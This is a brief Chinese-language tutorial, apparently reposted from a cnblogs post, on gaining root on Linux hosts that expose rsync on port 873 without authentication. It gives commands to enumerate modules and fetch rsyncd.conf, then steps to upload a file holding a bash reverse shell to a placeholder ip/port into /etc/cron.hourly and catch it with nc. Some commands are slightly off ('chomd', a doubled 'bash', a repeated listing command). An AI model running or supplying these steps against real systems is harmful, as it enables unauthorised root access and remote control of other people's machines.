rsync提权

介绍:Rsync是linux下一款数据备份工具,默认开启873端口

利用条件:rsync未授权

列出模板
rsync rsync://目标ip:873/

列出模块src下的文件
rsync rsync://目标ip:873/

rsync下的配置文件/etc/rsynd.conf到本机的/root/1.conf
rsync -av rsync://目标ip:873/src/etc/rsyncd.conf /root/1.conf

ubuntu的定时任务默认文件:

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

17 * * * * root cd / && run-parts --report /etc/cron.hourly的意思是:每小时的第17分钟执行run-parts --report /etc/cron.hourly命令

查看rsync下配置文件,是以什么权限运行的:

rsync -av rsync://目标ip:873/src/etc/rsyncd.conf 1.conf

cat 1.conf

提权:

1、创建一个shell文件,内容为bash bash -i >& /dev/tcp/ip/port 0>&1
2、赋予执行权限:chomd +x shell
3、上传文件到定时任务目录下rsync -av shell rsync://192.168.1.143:873/src/etc/cron.hourly
4、进行nc 监听相应的端口

原文地址:https://www.cnblogs.com/zpchcbd/p/11696915.html